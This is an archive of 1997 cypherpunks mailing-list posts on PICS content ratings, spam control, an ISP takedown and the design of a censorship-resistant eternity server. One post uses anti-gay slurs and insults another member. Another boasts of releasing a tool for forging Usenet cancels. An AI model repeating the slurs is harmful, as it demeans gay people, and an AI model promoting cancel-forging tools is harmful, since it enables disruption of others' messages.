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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 6 Aug 1997 13:47:44 +0800
To: Declan McCullagh <Jonathan.Weber@latimes.com
Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes
In-Reply-To: <Pine.GSO.3.95.970805105217.27178F-100000@well.com>
Message-ID: <199708060531.WAA19064@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




DM, JW, *please* get more info on PICS. in the early stages of its
development, many people were interested in using the rating
system to rate *cool* pages. that is, the same system could be
used to point to neat content and help people navigate. therefore,
your examples always involving censorious groups like the
"christian coalitian" is highly misleading. have you heard
of the "point communications" awards, surely? such a system
would benefit immensely from the standardization of ratings that
PICS is trying to achieve..


I urge all rabid libertarians to get a clue about what the
rating systems are actually trying to accomplish.



>From: Jonathan Weber <Jonathan.Weber@latimes.com>
>To: Declan McCullagh <declan@well.com>
>Subject: ratings story
>
>
>Innovation/ Jonathan Weber 
> 
>A New Battle   Over Keeping   the Web Clean   
>
>   On one side are the big, mainstream Internet and computer companies, 
>led by America Online and Microsoft, which proclaim their eagerness to 
>make cyberspace "safe for families.'' Lining up against them are 
>free-speech advocates, including the American Civil Liberties Union and 
>the American Library Assn., which see ratings systems as censorship 
>tools. 

this is a silly us vs. them characterization for simpleminds of a much
more complex issue. there are no clearly defined sides and it's not
a war.

>""Ratings systems are developed to enable one individual to exercise 
>control over what another person sees,'' says Marc Rotenberg, director of 
>the Electronic Privacy Information Center. That might be OK for parents 
>and their children, he allows, but such a tool will inevitably be used by 
>public institutions and governmentsif not here then abroadto restrict 
>speech. 

not if the constitution is valid in our own country. let's cross that
bridge when the government comes to it. no reason to spread fear,
uncertainty, and doubt over something that's not happened.

>   An even bigger worry is that what's being sold as a voluntary system 
>that will include a multiplicity of ratings systems is actually going to 
>be an all-but-mandatory system that offers very few choices. 

worry, worry, fear, fear. same as with CDA. just as baseless in
the long run.

>   Consider, first of all, what happens to Web sites that decline to rate 
>their pages. Any PICS-based filter would have to block all unrated pages. 

bzzzzzzzzzzzzt. those that use the filters are free to configure them
how they want. virtually all the filtering software allows different
levels of security. one can often treat the bad rating as merely an
advisory warning.

>Already, ratings proponents are calling on the major search services, 
>such as Yahoo, not to index unrated sites.

who is calling for this? PICS was designed with the idea that many
ratings would be by third-parties. I don't think self-ratings are 
going to be that common on the net, and its really absurd for anyone
to pretend there is going to be a major pressure on anyone to
"rate" their sites.   who are these nameless advocates? where is
the data? this article is about nothing but baseless speculation.

 Overseas Web services would 
>face the choice of adopting a U.S. labeling system or forgoing access to 
>any U.S. readers. Web publishers that didn't want to participate might 
>suddenly find themselves in a deserted backwater of the network. 

yes, one can create all kinds of scary scenarios when you have a teeny
brain that is overcome with fright over the slightest new situation in
life. 

>   There's also the question of how disputes over ratings would be 
>arbitrated. Sites would be self-rated, and in fact the vast majority of 
>sites would have no incentive to misrepresent themselves. But what 
>happens when some do anyway? Would it be a crime for a porn site to 
>proclaim itself suitable for children? 

SELF RATINGS are not the main use of ratings. ratings mostly make
sense with THIRD PARTIES doing the rating. there is no such thing
as "misrepresentation". who is it that thinks everything is going
to be "self rated"? whoever does is missing the essential
THIRD PARTY ASPECT that is designed into the core of PICS.

>   At the moment, moreover, it doesn't appear that there are a variety of 
>ratings systems under development representing different values. In fact, 
>a system being created by the Recreational Software Advisory Council, a 
>Microsoft-led industry group, is quickly emerging as a de facto standard. 

so what?

>   The battles over how RSAC handles certain kinds of sites have only 
>just begun, but to see the inevitable problems one need look no further 
>than the ongoing discussion about news. 

"battles, fights"-- the mentality of the person who wrote this is clear.
where is this fighting going on ? who are the people? I haven't seen
any fights except a lot of fearmongering in cyberspace over completely
hypothetical situations.

>N   ews sites, reasonably enough, don't want to rate     themselves. At 
>the very least it would be impractical to label every page of a big news 
>site every day to warn of violent or tasteless or otherwise disturbing 
>content. And labeling news just doesn't seem very consistent with freedom 
>of the press. 

SELF RATING is not going to be a major use of ratings. existing 
filtering software rarely works through SELF RATING. whoever focuses
on SELF RATING relative to the rating systems doesn't have a clue about
the major use of the technology.

>   So the news organizations want to have a special news rating. Who 
>qualifies for a news rating? Well, a committeeoperating under the 
>auspices of the Internet Content Coalition, which represents a number of 
>major publishers (including The Times)would decide. News organizations 
>get together to decide who is and who isn't a news organization. Hmm. 

bzzzzzzzzzzzt. anyone is free to rate anything. this coalition can get
together and rate anything they want right now. PICS does not change
that. it only gives a way for users who CHOOSE TO to access those
ratings and integrate them with their browsers.

>   In the face of these objections, the Clinton administration and the 
>companies backing the ratings effort say that, first of all, something 
>has to be done to stave off new legislation. If industry doesn't act, 
>Congress will come up with "son of CDA,'' and this time it might hold up 
>in court. 

the earth might stop rotating tomorrow, too. why is it that we have
a constitution but we don't believe in it? that those who scream the
loudest about constitutional violations are those that are least likely
to believe in it?

>   And that is the nightmare of free-speech advocates: that a medium that 
>the Supreme Court declared ought to be treated at least as liberally as 
>print (ever heard of ratings for books?) will nonetheless be driven into 
>TV-like conformity. 

absurd.

>This is a legitimate fear.

especially if you like to engage in fearmongering.

>   PICS and RSAC have powerful forces behind them and stand a good chance 
>of establishing themselves as part of the mainstream Internet.

they represent DECENTRALIZED control at the heart, as anyone with half
a brain can recognize..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Wed, 6 Aug 1997 10:48:22 +0800
To: cypherpunks@toad.com
Subject: WOW-COM(TM) News Update
Message-ID: <199708060231.WAA12437@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain



=============================================================
This update is sponsored by IBM   http://www.wow-com.com/professional/systemint/
=============================================================


Dear WOW-COM Reader:

WOW-COM(TM) is the wireless industry's online information source, a free service of CTIA.  Find out what's going on in the wireless industry by visiting http://www.wow-com.com/welcome today!

INDEX:
======
1) Upcoming Conference: CTIA's WIRELESS FRAUD '97

2) The Battle continues: Antenna Siting

3) CTIA Supports New Tauzin Legislation to Catch and Prosecute
 Electronic Stalkers
	

WIRELESS FRAUD '97 Conference
=========================================================
http://www.wow-com.com/professional/fraud/

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The Latest on the Antenna Siting Battle "Now Is the Time for Action, Not Inquiry" 
==========================================================
http://www.wow-com.com/professional/whatshot/

FCC grants CTIA petition challenging local zoning  moratoriums and seeks further comments.  CTIA Says: Further comment spells further delay.  Read the whole story here.

Electronic Stalking and the Wireless Privacy Enhancement Act of 1997
===================================================
http://www.wow-com.com/professional/

Earlier this year, CTIA President and CEO Thomas E. Wheeler testified before Rep.
Tauzin's subcommittee, urging Congress to close a loophole that permitted what he termed "electronic stalking."  Tauzin's legislation clarifies and tightens current law to ban the manufacture, modification, sale and use of equipment used to illegally intercept private, protected conversations over wireless phones . 


=============================
MORE WOW-COM(TM) FEATURES
=============================
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WOW-COM(TM) is insightful: CTIA's unbiased analysis 
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========================================================

This update sponsored by: IBM
http://www.wow-com.com/professional/systemint/

Today, more than ever, wireless carriers must remain flexible and respond rapidly to changing market conditions. Your success will depend on understanding your strategic opportunities and threats and quickly responding to them. To accomplish this, a wireless carrier must build links  that are sophisticated, comprehensive and flexible. This is no small endeavor. IBM has developed a general multilevel blueprint of a wireless company to assist wireless carriers pursuing this goal. Take a look at how we can help you achieve your goals.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 6 Aug 1997 15:05:17 +0800
To: cypherpunks@toad.com
Subject: Re: JYA Up
In-Reply-To: <1.5.4.32.19970806003415.00689254@pop.pipeline.com>
Message-ID: <LJVZae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:

> AOL/PrimeHost has reactivated JYA.
>
> AOL's story for the takedown is that our seldom used ftp
> component was being used by unidentified parties to traffic in
> warez and that it had nothing to do with the http part, "whose
> content does not concern us."
>
> Still, it's odd we did not get a call about the problem as was done
> a few weeks ago for a similar warez invasion. At that time, we
> offered to close our ftp, but the PrimeHost rep said no, we'll monitor
> it, as we do other ftps. I specifically asked to be notified if it
> happened again, but wasn't. And it's not clear why it took a
> week for me to find out what was what. Or why not AOL did not
> just close the ftp and leave the http operating.
>
> 'Course, maybe the  takedown was signal of distrust of JYA
> innocence. And a warning.
>
> Thanks to the folks who offered more help than the teapot
> tempest seems to have warranted -- so far.

Sounds like bullshit.

I urge you to find a more honorable upstream provider.
Preferrably someone who gets connectivity off of AGIS, who doesn't
censor content.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 6 Aug 1997 15:13:51 +0800
To: cypherpunks@toad.com
Subject: spam-- a technological solution/proposal
Message-ID: <199708060608.XAA22391@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



for a long time conversation here has covered the possibility of 
"certificates" especially the cryptography and algorithms behind
them. also, spam is a frequent topic. in fact I think the term
"spam" was used on this mailing list almost before anywhere else.

at the heart, spam is a fascinating question. the internet has
been designed to survive a nuclear war through its decentralization,
i.e. a threat from without. but what about a "threat from within"
such that your own nodes can be corrupted? this is the case with
spammers. it's an extremely difficult question to solve, and involves
concepts like a body, "immune system", cancer, etc.

after thinking about it for many moons, here is an interesting idea that I 
think could work on "spam prevention" using certificates. it's 
somewhat decentralized and has other nice "cyberspace friendly" features.

a "spam-free certifying agency" is started. this is essentially
a web site that allows people to download "spam-free certification".
it parcels out new digital signatures to anybody who asks.

the system works simply as follows: a person is spam-free until 
"the net" complains otherwise. the agency decides what threshold
of complaints constitutes a loss of "spam-free certification". 
when it revokes a certificate, it sends out the revocation to
the net.

you'd need something like the DNS system today to carry all the
spam-free certificates in a distributed fashion. everyone who
reads their mail can have automated checkers that throw out 
mail from non "spam-free" certified emailers.  this system requires
people to put their spam-free certificates in their mail.

the idea is that spammers could get intially certificates, but that 
complaints would be so numerous and so immediate that they couldn't get out 
that many letters before they lost their certification due to everyone
immediately complaining.

another interesting approach would be for internet providers not to allow
too many mails to be sent after a new spam-free certification of a 
new email address. that is, tie in the email addresses themselves to
the spam-prevention system.

interestingly many of these ideas are similar to the credit-reporting
agency techniques. you can get credit after you get a credit history.
the more history, the more credit. perhaps a system that limited the
amount of mail a person could send based on a "spam free history" 
could work well.

I think you could have a system that had multiple spam-free
certification agencies. you could have standards that try to juggle
among multiple agencies and certificate schemes. a variety of schemes
is better than none.

of course, all the usual caveats apply here. it's patently obvious
this system could be misused and manipulated. however I believe it's
the most promising route of anything that's been tried. I personally
think legislative/litigation solutions are a waste of time and potentially
harmful. if anyone would like to help develop this, please send me
email.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 6 Aug 1997 07:46:21 +0800
To: cypherpunks@cyberpass.net
Subject: eternity-0.08 up, more beta testers?
Message-ID: <199708052310.AAA07511@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




We are now on eternity-0.08.  See:

	http://www.replay.com/aba/eternity/

and	http://www.dcs.ex.ac.uk/~aba/eternity/ for the software.

It's now much easier to install there are even some instructions on
what to do in the README.  There is now a configure script which
greatly simplifies installing.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 6 Aug 1997 05:06:51 +0800
To: cypherpunks@toad.com
Subject: Re: "Censor's Sensibility" sidebar, from Time Magazine
In-Reply-To: <Pine.GSO.3.95.970805105422.27178I-100000@well.com>
Message-ID: <Pine.LNX.3.93.970806022614.103A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 5 Aug 1997, Declan McCullagh wrote:

> NetNanny
> 
>    (www.odci.gov/) U.S. Central Intelligence Agency

Is thats where the world fact book is mounted?  It would be a pitty that
this usefull resurch tool would be blocked.  I mean thay might find out
that the CIA consideres every single country in the world a magour transit
point for drugs.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+dVFKQK0ynCmdStAQGSvwP9HLq/s8Xk/thxwcJDC7sQJL1Zd8r/vBNX
zmUeTwPazpc2Lw88dywH6D3hUD7+abn1I+Iw0OqVZDzNjN5yb8b2mSPpXribCqfI
ag4Rx7BjmnWq4rsJRaxtA3GOliKPvbP09Lmq3zDYm2DRz+24bVcWoibyls7BkAAd
c3SU7XmUG3Q=
=s7At
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 6 Aug 1997 05:11:08 +0800
To: cypherpunks@toad.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <3.0.2.32.19970805102802.0077fe24@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.93.970806024019.103B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 5 Aug 1997 stewarts@ix.netcom.com wrote:

[...]

> While trying to charge money for communications
> may work, I'm inclined to doubt it; the more interesting currency to
> try to model is Reputation, which leads to more like an Ender's Game
> kind of net, or to semi-closed communities like the Well (is?was?).

The semi-closed communities are forming even now.  Usenet2, the fur
hyrackies and the hyracky that shall not be named are all examples of
this.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+dX+qQK0ynCmdStAQHLgQQAuctUCLt5CIUEkC0TzkrRcNtm0zjQwvQb
9QcfDNRcXnOyvRLnWEnM5hstA/Car7+7v+A2abLl/klMptSBmRKMeuScdMHu3n6w
eohX22T1WzV49DCO0WIGMVkuPefxEoF13zGUASacNkFB/TwNliOw7KTnI2MpCJqC
c/aF7V7kxxE=
=7ZQn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Wed, 6 Aug 1997 15:32:31 +0800
To: cypherpunks@Algebra.COM
Subject: distributed data store, a la eternity
Message-ID: <199708060720.DAA17656@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: application/pgp

PGP message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Wed, 6 Aug 1997 16:23:42 +0800
To: cypherpunks@Algebra.COM
Subject: Re: spam-- a technological solution/proposal
Message-ID: <199708060812.EAA17863@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: application/pgp

PGP message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 6 Aug 1997 23:14:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030302.XAA08565@cti06.citenet.net>
Message-ID: <19970806075802.12530@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Aug 03, 1997 at 12:29:37PM +0100, Adam Back wrote:
> Here's the sequence of events as I see it:
> 
>  1. spammer spams you with adverisement for phone sex line
>  2. you try to sue phone sex line company
>  3. phone sex company denies all knowledge
>  4. government says all email must be authenticated 
>  5. government issues internet drivers license
>  6. anonymous remailers work around authentication requirement
>  7. government outlaws remailers
> 
> See any flaws in that logical and undesirable sequence of events?

The flaws become apparent if you try to attach a *realistic*
probability to each step.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 6 Aug 1997 16:15:54 +0800
To: cypherpunks@toad.com
Subject: re: "Please get more info on PICS"
Message-ID: <199708060712.JAA23357@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"Vladimir Z. Nuri" wrote:

> DM, JW, *please* get more info on PICS. in the early stages of its
> development, many people were interested in using the rating
> system to rate *cool* pages. that is, the same system could be
> used to point to neat content and help people navigate. therefore,
> your examples always involving censorious groups like the
> "christian coalitian" is highly misleading. have you heard
> of the "point communications" awards, surely? such a system
> would benefit immensely from the standardization of ratings that
> PICS is trying to achieve..
> 
> I urge all rabid libertarians to get a clue about what the
> rating systems are actually trying to accomplish.

There's a similar debate about whether "guns kill people" or "people
kill people"[*].  Although it's the repressive regime that actually
causes the supression, the widespread availability of rating systems
makes it easier for them to do so.

Although the PICS rating system permits diverse rating systems, in
practice the oligopoly in the browser market confines this to the
value system of the ruling elite (unquote).  Notably, the current
RSACi rating system makes no distinction between consenting sex in
marriage and paedophilia: both earn a Sex-4 rating.  Probably many
people feel the first is more acceptable than the second, but they
have no way to express this in current PICS implementations.
(http://www.rsac.org/rating_description.html)

::Boots

[*] The correct answer, by the way, is "politicians kill people"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 6 Aug 1997 22:36:55 +0800
To: cypherpunks@toad.com
Subject: Re: JYA Up
In-Reply-To: <Pine.LNX.3.93.970806173954.538C-100000@shirley>
Message-ID: <c5o1ae6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> On Tue, 5 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I urge you to find a more honorable upstream provider.
> > Preferrably someone who gets connectivity off of AGIS, who doesn't
> > censor content.
>
> You don't get connectivity off of AGIS becuase no-one connnects.  AGIS'
> routers ect are so misconfigered ect that pagets seem to move threw it
> more by coninicdence then anything else.

(I'm trying to reply to my incoming mail in the order it was received,
still doing last weekend's mail, but I'll make an exception.)

David, it's remarks like these that cause people to conclude that you're
not very bright.  I'm not a customer of AGIS or any of its downstreams,
and I get excellent connectivity to their sites.  I remind the readers
that certain groups on Usenet hate AGIS because of their refusal to
censor content. E.g. read the Net.Scum page for Debbie Taylor to read
how the homos tried to censor the Web site called "www.gothatesfags.com"
and how AGIS refuses to bend over.  For this reason, homos (is David one?)
spread lies ike the above about AGIS, using meaningless technical jargon
and implying that that it doesn't work properly, But the fact is that the
recent study by the Boardwatch magazine ranked AGIS's network third best
among major backbones. (It would be first best of they ranked their
commitment to freedom of speech.)

More power to Phil Lawlor and death to all censors!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 6 Aug 1997 22:30:34 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: <1PP1ae8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

> Mark Grant <mark@unicorn.com> writes:
>
> > so all that a government need do to censor a particular site is to
> > scan for those messages and issue cancels. Sure, your site and those
> > upstream may not accept such messages, but potentially they can
> > still wipe out a large fraction of the system or at least force
> > users to change their eternity URLs on a regular basis.
>
> Two comments on this:
>
> - I understand cancels are ignored a lot of places, due to problems with
>   censorous people, and pranksters issuing tons of forged cancels.
>   These censorous people are actually doing us a big favour because it
>   is their actions which has led to the widespread policy of ignoring
>   cancels.

Yep. (I hope my making available an easy-to-use program for foring cancels
helped a little too, he he he.)

>   However this is going on other peoples information.  I don't have
>   any figures for how widespread the practice of configuring news to
>   ignore cancels is.

Major ISPs (America Online, Netcom, Earthlink..) all ignore cancels.
More precise numbers would be interesting.

> However I'm not sure having passphrases is that good of an idea,
> because it'll be furtively passed around amongst the community of the
> person who submitted the documents, but that can always leak out.

I can't think of a clever way to use public keys (and don't think this
is a good idea anyway)

> Longer term perhaps some of Ross Anderson's more advanced ideas can be
> added, as discussed by Ryan Lackey in the thread entitled "distributed
> data store, a la eternity".

Adam, you're doing a great job. Can I buy you a dinner when I'm in London?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Wed, 6 Aug 1997 19:28:30 +0800
To: cypherpunks@toad.com
Subject: Eternity Uncensorable?
Message-ID: <Pine.LNX.3.91.970806120354.15807A-100000@cowboy.dev.madge.com>
MIME-Version: 1.0
Content-Type: text/plain




Seems to me there's a fundamental flaw with the current Eternity server;
as I understand it the messages are identified by a subject which is the
SHA of their URL, so all that a government need do to censor a particular
site is to scan for those messages and issue cancels. Sure, your site and
those upstream may not accept such messages, but potentially they can
still wipe out a large fraction of the system or at least force users to
change their eternity URLs on a regular basis.

It also doesn't provide true security, since when someone sets up an 
illegal site the gubment can find the messages on Usenet, decrypt them, 
and then threaten the remailer operator who posted them.

I understand that this is just an alpha release, but I don't see any
obvious way to fix these problems with a Usenet-based system. 

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 6 Aug 1997 20:14:18 +0800
To: rdl@mit.edu
Subject: Re: distributed data store, a la eternity
In-Reply-To: <199708060720.DAA17656@the-great-machine.mit.edu>
Message-ID: <199708061206.NAA01240@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ryan Lackey <rdl@mit.edu> writes:
> I've been looking at the current eternity server, and it's a nice
> thing, but I'm kind of convinced no system like this which does not
> allow for electronic payments for those taking the risks will be
> successful.  Perhaps I'm wrong, but I don't think so.  It takes
> money to run a secure data store.  (my current project depends upon
> secure distribued available data storage, so I've been looking into
> this for a while)

The eternity servers announced recently are experimental.  That is to
say they are designed as a vehicle for improvement.  They are not
completed systems yet.  I am most keen myself to see eternity servers
which are truly resilient; the implementation we have is a first cut.
The whole idea is for it to be improved.

As to the risks issue (being an eternity server operator might lead to
legal hassles, and therefore people need to make money to compensate),
I have three main comments on that:

1. Accepting money for activities might worsen your legal position as
   you are then personally offering services.  This issue has been
   argued about in the past in relation to the idea of having
   for-pay remailers.  I'm not legally qualified to comment on this.

2. With my design the document store is a separate distributed system
   which is now part of the landscape, and is well accepted as a home
   for all kinds of dodgy materials and discussions.  People are used
   to the fact that some alt USENET newsgroups are full of material
   which is illegal in some parts of the world.  If you start from
   scratch with a new document distribution method, your first few
   servers are easy targets, due to small numbers.  People will be
   intolerant of them, and the Feds will probably go for RICO
   conspiracy and lock all 6 up.  Game over before you start.  I agree
   that you can do much better theoretically with this model, but
   you've got to consider existing network social norms, USENET is
   part of the landscape.  You won't simultaneously manage to threaten
   all news admins in the world to close down alt groups, they are in
   too many countries, and admins will rebel, and there will be plenty left. 

   So using USENET allows you to point the finger and say "it's not my
   material, it's just USENET posts".  Much like altavista doesn't
   issue cancel messages for posts in USENET news, it's not their
   problem, they're just providing a view onto a distributed database.
   Or much like providing an open access NNTP server, or access to
   users only as done by thousands of ISPs the world over without
   ill-effect modulo localised attempts to force people to not carry
   some groups.

   Another less openly stated opinion of mine is that the way to do it
   is to start as I have, and add other document sharing channels
   later.  Keep some confusion for the observer as to where the
   material is coming from.  As long as it _might_ have come out of
   USENET news on the fly, you can use that as a cover argument.  If
   the shit hits the fan you can fall back to that.

   Probably long term I think you would want to keep USENET as 
   a fall back system, but definately keep it as the distribution
   channel (it is _the_ most secure way of delivering anonymous
   messages, where you want to protect the recipients identity:
   broadcast it).  Much better than sending mail via anonymous
   remailers.  Mixmaster is good, but not that good in the face of
   repeated posting by one individual of materials which seriously
   annoy a major government.

3. Last argument is the "good enough" argument.  If the above tactic
   of using USENET as a distribution mechanism, and having cacheing,
   and optionally charging for storage, with exchange of articles
   between servers survives censorship in practice, why bother with
   anything more complex.

   For example Ross talks about arranging it so that documents are
   reconstructed from secret shares so that individual servers don't
   know what they've served.  Well that's sexy stuff, and clearly more
   secure if you absolutely must conceal which server served what
   material, if it has definately got the material from a database
   which it owns.

   The basic threat model of my eternity server design is
   disposable nodes.  That is it's like the new low orbit satellite
   systems, the satellites fall in and burn up after a while, but it
   doesn't matter because it's part of the design to keep throwing up
   new ones often enough to ensure continuous cover.  Same for
   eternity servers.  Individuals will cave, but when they do other
   enraged netters will start some more in protest.

   Just look at the Scientologist battles.  It's simply amazing the
   bravery of the Scientologist detractors in face of types of
   harrasement thrown at them.  Despite this the Scientologists are
   losing in that their materials are all over the place.  This
   suggests to me that USENET could work just fine.

   Also there is the possibility of private eternity servers.  That is
   you have an eternity server for your own use only, or only for a
   group of friends, or only for users of your ISP.  That one won't
   come under attack, and provided USENET doesn't get censored you'll
   be ok.

   Perhaps pointing the finger at USENET will be an effective
   strategy.  Perhaps we'll find out one way or another in the next
   few months :-)  Empirical cryptography.


Now some ideas on moving towards a real Anderson Eternity Service (in
small stages, the first steps are far removed), I have several ideas
for where to go next:

a) Cache replacement policy based on number of accesses

   There is currently a cache of eternity documents.  Documents and
   servers are configurable to either cache: on, off, or encrypted.
   One solution to the question of what happens when you fill up that
   100Mb cache is to discard least accessed pages.  Popular stuff stays,
   and you have fixed storage requirements.  The mantra "Disk is cheap".
   It wouldn't kill someone these days to dedicate a 6Gb disk for an
   eternity cache.

b) Have the above cache policy augmented with pay for disk space with
   ecash storage fee included with post.  Realistically for either you
   need a way for eternity servers to ask each other for articles.
   Well they can do that easily enough via http, but you still need
   to know which servers are available.

c) Use news archival services as another database to query.  eg
   altavista, dejanews.  I am starting to think that this is not such
   a hot idea now, because it's too centralised, and the operators are
   already hostile to bloat of their archive space, and do things like
   truncate UUencoded documents, and PGP ascii armored documents already.
   I mean ok, I'm sure we could run a war of new crude stego improvements
   being countered by more advanced eternity article detectors, up until
   we get to a natural langauge looking stego encoder.  Texto is a simple
   example of one of these.

> Would anyone else be interested in working on a real reliable
> distributed data store, more like what Anderson described than the
> current Eternity server?  Specifically, something with payment
> systems built in, 

Payment is definately going to go in.  It will be necessary to control
volume somehow if it gets popular, and it allows providors to cover
their expenses.  Charging for document download might be an idea also
to cover bandwidth.

> a multiplicity of ways to pass messages from server to server, 

That has to come also, because of USENET expiring, and because of the
non-distributed nature of systems of using the news archival services
(dejanews etc).

Initial ideas are:

- have list of eternity servers, and query them randomly until you
find one which has the document.  Pro: simple solution, fast lookup,
Con: has easily accessible comprehensive list of who's running
eternity servers.

- build something in terms of remailers to allow eternity servers to
query each other anonymously.  Con: _slow_ lookup.

- build specialised DC-net or pipe net setup with eternity servers on
it.  Pro: fast lookup, harder to track who's serving what, Con: no
implementations yet, con #2 provides a fat target for distrupting,
take out the DC net/pipenet and the document exchange connectivity
fails.

- secret sharing documents over eternity servers

> and a multi-level design in which a maximum amount of anonymity is
> preserved?

One approach would be to treat anonymity as a separable issue from the
issue of hiding which server served which document (and issues of
secret sharing etc).

That is couldn't the viewer use crowds, or less securely
www.anonymizer.com.

However I think there is an opportunity to have the document
constructed by the eternity server nodes in such a way that only the
requester can reconstruct the document.  Eg each server encrypt the
share it is serving with the requesters public key.  Then only the
requester can recover the shares and hence the document.  You should
make sure it's forward secrect too.

> I'm not saying I don't like the current eternity server, just that
> I'd like to work on one with payment systems built in, 

I'm all for payment methods.  Perhaps hascash
(http://www.dcs.ex.ac.uk/~aba/hashcash/) would be a good experimental
currency to get it working with first, and then switch to real
anonymous ecash a bit later.

> and more closely following the original idea for an eternity server
> (which I thought was a great one).

I'm all for making things as resilient and crypgraphically strong as
you can.  However I think part of the reason for different opinions is
that you are addressing three issues at once:

  - non censorable document store
  - preventing people correlating material with the server which served it
  - making the users accesses anonymous

The design of my eternity server as it is at the moment trying to
address just:

  - non censorable document store

by relying on the low orbit satellite model for public access servers,
and the borrowing from the dififculty of censoring USENET news.

Mild attempts can be made to protect correlation of users with
material accessed:

  - enable ssl on the server

(Cheap solution I know, as it relies on the trustworthiness of the
operators of the server, and that the system hasn't been compromised
by hackers, and that you have possibility of MITM attack if the
servers certificate isn't authenticated, or even if it is with a more
determined long term MITM attack).

No attempt is made to prevent:

  - people correlating material with the server which served it

because that is outside the design criteria.  Who cares what they
correlate for the server.  The server is just forwarding you USENET
news articles, just like an open access NNTP server, with a bit of
reformatting.

If someone takes enough exception to that there will be plenty of
other eternity servers to take up the slack.

Please feel free to take and hack the eternity-0.08 source code, and
contribute, or hack it for your whatever purposes.

I'd be interested in any comments on this somewhat long post from
yourself, and other readers.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

